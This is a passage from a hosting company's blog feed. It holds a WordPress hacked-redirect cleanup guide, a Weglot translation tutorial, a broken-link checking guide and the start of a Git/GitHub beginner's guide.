&lt;li&gt;
&lt;p&gt;Your website shows multiple push notifications that were not created by you.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You are unable to sign in to your account’s admin panel or access the dashboard.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There is some malicious or unidentified code in the &lt;em&gt;.htaccess&lt;/em&gt; or &lt;em&gt;index.php&lt;/em&gt; file of your WP installation.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If your answers to any of the above were yes, then you have been compromised with a hacked redirect attack. Each of these issues can be severely damaging to your business. Let us see how in the next section.&lt;/p&gt;
&lt;h2 id=&quot;how-wordpress-redirects-can-impact-your-business&quot;&gt;How WordPress Redirects Can Impact Your Business&lt;/h2&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;insecure website warning&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;610&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/phishing-attack-ahead-warning-610x400.rpOj6N4__Z1SEmAe.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;insecure website warning&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Here are some ways in which redirects attacks can impact your business:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Your website visitors are redirected to unsolicited external websites, causing an immediate loss of traffic that can affect business revenue – particularly if you are running an eCommerce store. &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Even a single redirect could lead to online users losing their trust in your brand and reputation – and are less likely to revisit your website.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Loss of SEO ranking as Google could suspend or even blacklist your website; this can further lead to incoming traffic loss.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your website could also be suspended by your &lt;a href=&quot;https://kiravo.net/pricing/&quot;&gt;WordPress hosting&lt;/a&gt; company.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your administrator can no longer access the Admin dashboard page or perform any admin tasks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your redirected visitors could end up sharing personal or confidential information on the external phishing website – because of which hackers could misuse the data to make money or carry out unauthorized transactions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Finally, hackers now have a way to infect your website again – even after cleaning and fixing the problem.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These are just a few ways in which a redirect attack can compromise your website and business. So, how can you detect and fix your website following a redirect attack? Let’s find out. &lt;/p&gt;
&lt;h2 id=&quot;how-to-clean-your-hacked-website-from-hacked-redirect&quot;&gt;How to Clean Your Hacked Website from Hacked Redirect&lt;/h2&gt;
&lt;p&gt;To clean and fix your website from the Hacked Redirect infection, you can use either of the following methods:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Automatic malware cleanup: that uses a plugin or tool for malware scanning and cleaning.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Manual malware cleanup: that is the technical way of site cleanup.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let us discuss each of these methods, and determine which is more effective and easier to use.&lt;/p&gt;
&lt;h2 id=&quot;method-1---automatic-malware-cleanup&quot;&gt;Method 1 - Automatic Malware Cleanup&lt;/h2&gt;
&lt;p&gt;Thanks to its global popularity, WordPress has several security plugins or tools that you can easily install and use to detect and remove any malware like &lt;a href=&quot;https://www.malcare.com/blog/wordpress-hacked-redirect/&quot;&gt;Malicious redirects&lt;/a&gt;, SEO Spam, Link Injection and more. One of the most popular ones is MalCare. &lt;/p&gt;
&lt;p&gt;Apart from being effective against different types of malware infections, it is fast, user-friendly, and can detect and remove malware instantly. While there are many paid security tools, we recommend MalCare because, from our experience, it offers a one-stop solution for malware scanning and removal. Here is how you can use MalCare:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Download and install the MalCare plugin for your website.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After installation and activation, the tool automatically performs a complete scan of your site. &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;From the Security panel in the dashboard, view if there are any hacked files. &lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;scan website&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;588&quot; height=&quot;353&quot; src=&quot;https://kiravo.net/_astro/security.1fq5bHwl_ZO3TtI.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;scan website&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Next, click the “Auto Clean” button in the Security panel. &lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That is all you need to do – MalCare will clean your website from any infections or malicious code.&lt;/p&gt;
&lt;p&gt;Finally, to protect your website from future attacks, navigate to the “Website Hardening” section and click “Apply Hardening.”&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;Security hardening&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;303&quot; src=&quot;https://kiravo.net/_astro/website-hardening-720x303.-uBKYot6_2go54X.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;security hardening&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Apart from easy scanning and cleanups, the security plugin offers a range of other security features that makes it worth your money.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;Site health&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;554&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/site-health-554x400.CSnkee5a_1zTEp3.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;site health&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt; If you are not keen to invest in a paid tool, you can opt for manual scanning and removal. Let’s discuss this in the next section.&lt;/p&gt;
&lt;h2 id=&quot;method-2--manual-malware-cleanup&quot;&gt;Method 2 – Manual Malware Cleanup&lt;/h2&gt;
&lt;p&gt;Before we go ahead, it’s important to remember that manual malware cleanups are a challenge even for seasoned users – plus, it is time-consuming and involves a few technical steps. We would only recommend you use this method if you are confident of tech and WordPress knowledge and skills.&lt;/p&gt;
&lt;p&gt;Before performing a manual cleanup, we recommend taking a complete backup of your website and database. You can use a backup plugin like BlogVault that automates database backups and stores your files securely in an independent location. &lt;/p&gt;
&lt;p&gt;Once that’s done, follow the below steps for manual cleanup:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Your Core WP files are most likely to be targeted by hackers. Don’t forget to check them which include wp-config.php, wp-settings.php, index.php, wp-load.php, and .htaccess files in your installation.&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;manual removal&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;327&quot; height=&quot;396&quot; src=&quot;https://kiravo.net/_astro/Manual-removal.DxlR1w6K_Z2QGCf.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;manual removal&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;
&lt;p&gt;Download a fresh copy of WP (with the same version as your installation) and then use the &lt;a href=&quot;https://www.diffchecker.com/&quot;&gt;Diffchecker&lt;/a&gt; tool to manually compare your installed files with the new copy.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Next, check for backdoors in your installation that hackers use to access your site even after you have cleaned it. For this, check for malicious PHP functions like eval, base64_decode, and gzinflate.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The next step is to sign into the “Users” section of your dashboard and check for any suspicious or unknown Admin users. If found, then remove any such users.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Apart from your core WP files, your installed plugins/themes can also contain malicious code. So, you need to compare each plugin or theme with its original copy, that you will need to download from their sites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The final step is to scan for any malware in your database. For this, you need to search for terms like &lt;script&gt;, eval, base64_decode, or gzinflate in your database tables.&lt;/script&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A note of caution before we go - this method is fairly technical and complicated and requires you to modify critical Core WP files and database tables. &lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Hackers are constantly innovating and you’ll always find newer and more advanced forms of WordPress Hacked Redirect – that cannot be detected manually.&lt;/p&gt;
&lt;p&gt;While there are many security steps that you can take to protect your website, installing a security plugin is the best investment you can make to keep your site secure. In the long term, it is certainly worth the time and effort saved, not to mention the peace of mind it provides. Or, you could invest in a WordPress maintenance plan. &lt;/p&gt;
&lt;p&gt;We hope you found this article to be informative and useful.  Do share your thoughts and views with us regarding this article. Look forward to hearing from you.&lt;/p&gt;</content:encoded><category>WordPress</category><author>Elena Chira</author></item><item><title>How to translate a WordPress website</title><link>https://kiravo.net/blog/translate-wordpress-website/</link><guid isPermaLink="true">https://kiravo.net/blog/translate-wordpress-website/</guid><description>What to look for in a WordPress translation plugin, plus a walkthrough of Weglot for taking a site multilingual without rebuilding it.</description><pubDate>Thu, 04 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Translating your WordPress website is a logical step for those wanting to sell or do business in new markets. Ensuring your website visitors can read the content of your site in their native language is &lt;a href=&quot;https://www.weglot.com/blog/reasons-why-a-multi-language-site-benefits-your-business&quot;&gt;beneficial&lt;/a&gt; in a number of ways, allowing you to reach new customers, improve your SEO rankings, and build better customer experiences. &lt;/p&gt;
&lt;p&gt;Whilst translating a website can seem like a daunting task, it’s actually incredibly simple when using a WordPress multilingual plugin, in particular, &lt;a href=&quot;https://www.weglot.com/&quot;&gt;Weglot&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;We’ll take a look at what to look for when choosing a WordPress translation solution, how Weglot works and finish with a tutorial on how to translate your WordPress website in just a couple of minutes.  &lt;/p&gt;
&lt;h2 id=&quot;what-to-look-for-in-a-translation-plugin&quot;&gt;What to look for in a translation plugin&lt;/h2&gt;
&lt;p&gt;Not all WordPress multilingual plugins are created equal, and there are, in fact, a number of features you should tick off your list to ensure you’re getting the full package when it comes to translating your website. &lt;/p&gt;
&lt;h3 id=&quot;1-number-of-languages-available&quot;&gt;1. Number of languages available&lt;/h3&gt;
&lt;p&gt;Seems fairly basic, but do check if your WordPress multilingual plugin of choice actually supports the language(s) you’re planning to add to your website. That also goes for any languages you might consider adding in the future - so think long term!&lt;/p&gt;
&lt;h3 id=&quot;2-translation&quot;&gt;2. Translation&lt;/h3&gt;
&lt;p&gt;Bear in mind that not all multilingual plugins actually take care of the translation side of things - which seems like a pretty straightforward requirement in terms of website translation. Some require you to pay an additional amount on top of the initial plugin purchase. Choosing a multilingual solution that both translates and displays the content of your website will make things a lot easier for you. &lt;/p&gt;
&lt;h3 id=&quot;3-translation-management&quot;&gt;3. Translation management&lt;/h3&gt;
&lt;p&gt;Often, Google Translate is the first thought when someone mentions automated translation, but what you lack here is any form of editing rights. Choosing a solution that provides both automatic translation for speed &lt;em&gt;and&lt;/em&gt; the option to edit these translations means you’ll be able to give your website visitors the best possible experience.&lt;/p&gt;
&lt;h3 id=&quot;4-set-up&quot;&gt;4. Set up&lt;/h3&gt;
&lt;p&gt;Check how simple the multilingual plugin is to install. Juggling around with multiple files to download and install is exhausting and time-consuming. Select a solution that doesn’t require any code or the need for a developer. &lt;/p&gt;
&lt;h3 id=&quot;5-multilingual-seo&quot;&gt;5. Multilingual SEO&lt;/h3&gt;
&lt;p&gt;Translating your website is just step one. Choosing a WordPress multilingual plugin that also ensures you’re set up for multilingual SEO completes things and ensures you’re actually searchable in your new markets. &lt;/p&gt;
&lt;h3 id=&quot;6-support&quot;&gt;6. Support&lt;/h3&gt;
&lt;p&gt;Don’t forget to check the reviews of the plugin. Is the support team reactive? Are their customers satisfied? Get the real story from the people using the multilingual plugin. Remember, it’s unlikely you’ll get any support from free solutions. &lt;/p&gt;
&lt;h2 id=&quot;how-weglot-works&quot;&gt;How Weglot works&lt;/h2&gt;
&lt;p&gt;As the highest-rated WordPress multilingual plugin, Weglot stands out in a number of ways. Its ease of use is just one of the main reasons why it has more than 50,000 active installs. &lt;/p&gt;
&lt;p&gt;Once you’ve followed the quick setup process (just 5 minutes), you’ll have an instantly multilingual WordPress website. Weglot works by automatically detecting all the content on your website (including content coming from other plugins), translating it using a first layer of automated translation, and then displaying the content under language subdirectories. &lt;/p&gt;
&lt;p&gt;The difference between Weglot and some of its competitors is that there are no fiddly manual translation steps. Once Weglot is installed on your WordPress site, everything is translated instantly. &lt;/p&gt;
&lt;p&gt;Weglot then gives you complete control over your translations. You can choose to keep the automated translations, make edits to them manually, or order professional translators through the Weglot dashboard. &lt;/p&gt;
&lt;p&gt;You have two choices when it comes to managing and editing your translations. The first is through Weglot’s ‘visual editor,’ which lets you edit all your website translations in a live preview of your site. Any edits you make here will automatically be implemented on your real website. It’s a user-friendly way to see exactly where your translations are on the front end of your site. &lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;weglot visual editor&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;372&quot; src=&quot;https://kiravo.net/_astro/visual-editor-simplenet-720x372.CYmVl1Rj_h3KAJ.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;visual editor&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The second option is to edit translations within your translations list, where you can filter by URL. &lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;edit translations within your translations list&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;365&quot; src=&quot;https://kiravo.net/_astro/translations-list-simplenet-720x365.DzrvFRip_mRomQ.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;translations list&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Weglot is an SEO optimized solution, meaning that all your content is indexed following Google’s best practices. It translates all of your metadata and automatically adds hreflang tags, meaning that your international SEO is covered. &lt;/p&gt;
&lt;p&gt;With Weglot, you’ll also get a language switcher automatically added to your site with the option to customize the design and placement without the need for code. This makes it easy for your site visitors to switch between the languages of their choice. &lt;/p&gt;
&lt;h2 id=&quot;&quot;&gt;&lt;/h2&gt;
&lt;p&gt;How to translate your WordPress website with Weglot &lt;/p&gt;
&lt;p&gt;Installing Weglot on your site and having a multilingual website up and running is a simple and quick process. Let’s take a look. &lt;/p&gt;
&lt;h3 id=&quot;step-1&quot;&gt;Step 1 &lt;/h3&gt;
&lt;p&gt;Search for Weglot in the plugins tab of your WordPress dashboard. Install Weglot, then click the activate button. &lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;activate weglot&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;693&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/weglot_setupguide_4-1024x591-1-693x400.CiCOuDCK_1DcxUI.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;setup guide&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3 id=&quot;step-2&quot;&gt;&lt;strong&gt;St&lt;/strong&gt;e&lt;strong&gt;p 2&lt;/strong&gt; &lt;/h3&gt;
&lt;p&gt;You’ll now see a Weglot tab within your WordPress dashboard. This is where you’ll add your languages. To do this, enter the unique API key—available on your Weglot dashboard (you’ll need to &lt;a href=&quot;https://dashboard.weglot.com/register-wordpress&quot;&gt;&lt;strong&gt;create an account&lt;/strong&gt;&lt;/a&gt; to get access to this).&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;main configuration weglot&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;687&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/weglot_setupguide_6-687x400.wdclIdhr_j2te7.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;main configuration&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Then select the original language of your site and enter the new languages you want to translate your site into. Click ‘Save Changes’. &lt;/p&gt;
&lt;h3 id=&quot;step-3&quot;&gt;Step 3 &lt;/h3&gt;
&lt;p&gt;Your multilingual site is now live! A language switcher button will now appear on your site so your site visitors can select their preferred language.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Interested in trying out Weglot? Start your&lt;/strong&gt; &lt;a href=&quot;https://dashboard.weglot.com/register-wordpress&quot;&gt;&lt;strong&gt;free 10 day trial&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;</content:encoded><category>WordPress</category><author>Elena Chira</author></item><item><title>4 methods to find and fix broken links</title><link>https://kiravo.net/blog/find-and-fix-broken-links/</link><guid isPermaLink="true">https://kiravo.net/blog/find-and-fix-broken-links/</guid><description>Why broken links cost you traffic, and four ways to find and fix them on WordPress: plugins, desktop crawlers, and free web tools.</description><pubDate>Thu, 27 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Google constantly refines its ranking algorithm and the signs are that it will continue to do it in the near future. The ultimate Google Search purpose is to ensure the best user experience regardless of the context (query, device used, Internet connection etc).&lt;/p&gt;
&lt;p&gt;Broken links don’t hurt so much the user experience, but these might be that detail that makes all the difference. A backlink within an article aims at providing more information about the topic debated. It’s totally annoying to open that additional source and get a boring 404 page. &lt;/p&gt;
&lt;p&gt;Don’t consider broken links only as a technical problem. Readers consider that you don’t care about them if your content has broken links.&lt;/p&gt;
&lt;h2 id=&quot;what-are-broken-links&quot;&gt;What Are Broken Links&lt;/h2&gt;
&lt;p&gt;Broken links or dead links are that links that don’t work, these direct the readers to resources that don’t exist anymore. It may happen due to various reasons such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;the website you linked has been abandoned;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;that webpage you linked has been removed;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;you mistyped the link.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are two types of broken links. &lt;strong&gt;Internal broken&lt;/strong&gt; links refer to the links from a webpage of a site to another webpage from the same site. You have full control over these links. &lt;strong&gt;External broken&lt;/strong&gt; links refer to the links pointing to another site. You don’t have full control over these links because you don’t know what would happen to the site you linked.&lt;/p&gt;
&lt;h2 id=&quot;why-broken-links-matter&quot;&gt;Why Broken Links Matter?&lt;/h2&gt;
&lt;p&gt;Let’s summarize why broken links are so important. As I previously mentioned it’s about user experience. The visitor who clicks on a link expects to be directed to an additional source. The source you linked might be a research to prove your statement, a page offering in-depth data, or a resource to better explain a subject. If you fail to offer what you promise, the readers feel cheated and act consequently. &lt;/p&gt;
&lt;p&gt;The spiders of the search engines are also frustrated with the broken links, so you lose a chance of getting a higher rank. An internal broken link means that the link equity of the page you link isn’t transferred to your page. Why would you miss the chance of improving the SEO of a page when it’s pretty simple to fix the broken links?&lt;/p&gt;
&lt;h2 id=&quot;ways-to-find-and-fix-broken-links&quot;&gt;Ways to Find and Fix Broken Links&lt;/h2&gt;
&lt;p&gt;Luckily, there are many ways to find and fix broken links. Ahref and Semrush are premium tools that work miracles for webmasters. These help in identifying the broken links but the subscription price is high for the most budgets. These provide much value for your money but using them only for fixing broken links it’s a smart decision. Briefly, you can find and fix broken links without using expensive tools.&lt;/p&gt;
&lt;h3 id=&quot;google-search-console&quot;&gt;Google Search Console&lt;/h3&gt;
&lt;p&gt;Google Search Console (GSC) is the most accessible tool for finding broken links. All you have to do is to access the Search Console and visit &lt;strong&gt;Index &gt; Coverage &gt; Errors&lt;/strong&gt;. You did a good job if you have no errors. Elsewhere, GSC showcase a list of broken links and you have to manually fix each one. Keep in mind that GSC doesn’t offer data about the external broken links.  &lt;/p&gt;
&lt;h3 id=&quot;desktop-software&quot;&gt;Desktop Software&lt;/h3&gt;
&lt;p&gt;&lt;img alt=&quot;desktop software screaming frog&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/1-screaming-frog-desktop-link-checker-720x400.Bc5zTjcS_KpCXD.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Screaming Frog&lt;/strong&gt; is one of the most famous desktop software used by webmasters and with just a few filters you may find out the dead links of your site. This tool crawls for free 500 URLs, but you have to purchase a premium license for removing this limit. Download and install it, carefully read &lt;a href=&quot;https://www.screamingfrog.co.uk/broken-link-checker/&quot;&gt;this guide showing how to find the dead links&lt;/a&gt;, and do all your best to fix them. It works for Windows, Mac, and Linux.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://apps.apple.com/us/app/integrity/id513610341?ign-mpt=uo%3D4&amp;#x26;mt=12&quot;&gt;Integrity&lt;/a&gt; is a reliable alternative for Mac users and  &lt;a href=&quot;https://xenus-link-sleuth.en.softonic.com/&quot;&gt;Xenu’s Link Sleuth&lt;/a&gt; is for Windows users.&lt;/p&gt;
&lt;h3 id=&quot;online-link-checkers&quot;&gt;Online Link Checkers&lt;/h3&gt;
&lt;p&gt;Online link checkers are the most convenient alternatives to find and fix broken links. Just open a new tab in your browser, visit the online checker, add your site address, and in a few moments, the tool checks your site and generates a list of broken links.  &lt;/p&gt;
&lt;h4 id=&quot;ahref-checker&quot;&gt;&lt;a href=&quot;https://ahrefs.com/broken-link-checker&quot;&gt;Ahref Checker&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;ahref checker&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/2-broken-link-checker-720x400.BGvbS-pA_2kHcCx.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;Ahref is a famous tool for marketers and content creators. Ahref Checker finds the broken links - both internal and external and does it for free. A huge plus of the app is that it provides the anchor text and the link, so you go directly to the broken links and fix them in no time.&lt;/p&gt;
&lt;h4 id=&quot;dr-link-checker&quot;&gt;&lt;a href=&quot;https://www.drlinkcheck.com/&quot;&gt;Dr Link Checker&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;dr link checker&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/3-dr-link-check-720x400.R3Yd-ZDZ_ZDIeIH.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;This tool fully deserves your attention due to efficiency and good aesthetics. It does perfectly what a link checker should do -  highlight the broken links. Unlike other competitors, its interface is modern and intuitive. You have to purchase a subscription if your site has 1500+ links.&lt;/p&gt;
&lt;h4 id=&quot;w3-link-checker&quot;&gt;&lt;a href=&quot;https://validator.w3.org/checklink&quot;&gt;W3 Link Checker&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;w3 link checker&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/4-link-checker-W3C-720x400.DPjONL-4_1pjDOq.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;This checker is developed by the World Wide Web Consortium -  a famous international community of developers. Under these circumstances, you shouldn’t doubt the checker performance even though its interface isn’t stellar.&lt;/p&gt;
&lt;h3 id=&quot;wordpress-plugins&quot;&gt;WordPress Plugins&lt;/h3&gt;
&lt;p&gt;Someone once said that there is a plugin for every WordPress related issue and it looks that it’s also valid in the matter of broken links. There are a couple of effective plugins aimed at detecting the broken links.&lt;/p&gt;
&lt;p&gt;Most of them are lightweight, but you will use them sporadically. Therefore, confidently use a plugin but delete it after finishing the job. In this way, you avoid hogging your site files, so the website loads faster.&lt;/p&gt;
&lt;p&gt;From a security perspective, any installed plugin equals a new vulnerability, so you have another reason to delete it. Check these two plugins aimed at finding and fixing broken links.&lt;/p&gt;
&lt;h4 id=&quot;broken-link-checker&quot;&gt;&lt;a href=&quot;https://wordpress.org/plugins/broken-link-checker/&quot;&gt;Broken Link Checker&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;broken link checker&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/5-broken-link-checker-wordpress-plugin-720x400.C-8VL2NK_1eev08.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;This is the most frequently installed plugin for checking broken links. Install and activate the plugin and it will crawl the site for broken links. It detects dead links, missing images, and redirects. Optionally, you can get the crawling report via email or by logging in to the WordPress dashboard.&lt;/p&gt;
&lt;p&gt;Besides irreproachable functionality, this plugin impresses with the many customization options. &lt;/p&gt;
&lt;h4 id=&quot;wp-broken-link-status-checker&quot;&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-link-status/&quot;&gt;WP Broken Link Status Checker&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;&lt;img alt=&quot;wp broken link status checker&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/6-wp-broken-link-status-checker-720x400.CTy37LjR_kx8Dr.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;This plugin focuses on searching for dead links without impacting the site performance. The innovative idea is that users configure the scan of the crawler. It’s that simple - name the scan - for instance, &lt;strong&gt;published post checking&lt;/strong&gt;, chose to crawl only the published posts and get notified by each broken link. Save the configuration for performing the same scan in the future. &lt;/p&gt;
&lt;p&gt;The only downside of this plugin is the long period since it hasn’t been updated. It may conflict with other plugin or with the theme of your site. &lt;/p&gt;
&lt;h2 id=&quot;over-to-you&quot;&gt;Over to You&lt;/h2&gt;
&lt;p&gt;Finding and fixing broken links isn’t funny at all, but it’s not rocket science. Use any of the above suggestions and check your site against dead links periodically. It depends on the site size, but fixing broken links shouldn’t take you much time.&lt;/p&gt;
&lt;p&gt;How do you manage the broken links? Do you pay attention to them or you simply ignore them?&lt;/p&gt;</content:encoded><category>WordPress</category><author>Andrei Chira</author></item><item><title>The beginner’s guide to Git and GitHub</title><link>https://kiravo.net/blog/git-github-guide/</link><guid isPermaLink="true">https://kiravo.net/blog/git-github-guide/</guid><description>A beginner&apos;s walk through Git and GitHub: the vocabulary, the install steps, the commands you&apos;ll actually use, and your first repo.</description><pubDate>Mon, 05 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;More and more top employers, including Google and Microsoft, are focusing more on Stack Overflow, Git, and GitHub accounts than on resumes.&lt;/p&gt;
&lt;p&gt;These accounts say a lot more about your knowledge and skills than a CV because they effectively reveal what you’ve worked on.&lt;/p&gt;
&lt;p&gt;Past or side projects, contributions to open source works, and your interaction with other developers are more relevant than a self-proclaimed title of “Master of JavaScript.”&lt;/p&gt;
&lt;p&gt;Under these circumstances, you’d better learn how to get the most from Git and GitHub. To do that, start with our beginner’s guide - Git for beginners. Both tools have a steep learning curve, so be ready to invest substantial time and resources.&lt;/p&gt;
&lt;h2 id=&quot;what-is-git&quot;&gt;&lt;strong&gt;What is Git?&lt;/strong&gt;&lt;/h2&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;Git-Official-Site&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/1-git.dsyHQSNO_Z2mJ4dA.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Git&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Linus_Torvalds&quot;&gt;Linus Torvalds&lt;/a&gt; created Git in 2005 to help his development team work collaboratively on the Linux kernel. Over time, Git turned into the favorite version control system (VCS) of most developers, coders, and designers.&lt;/p&gt;
&lt;p&gt;A VCS records the changes performed to a file or a set of files over time, and it allows users to recall particular versions later on. This functionality is golden for teams of developers working on complex code.&lt;/p&gt;
&lt;h2 id=&quot;what-is-github&quot;&gt;&lt;strong&gt;What is GitHub?&lt;/strong&gt;&lt;/h2&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;GitHub-Official-Website&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/2-github.Cs_uNVUy_ZT4pNS.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Github&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;You need a place to store the files you use for each project, and GitHub is the preferred solution of Git users. It’s a remote storage solution trusted by millions of users, so you can use it confidently.&lt;/p&gt;
&lt;p&gt;On top of that, it’s free (you only have to pay when you want to keep private repos and your team is bigger than four members).&lt;/p&gt;
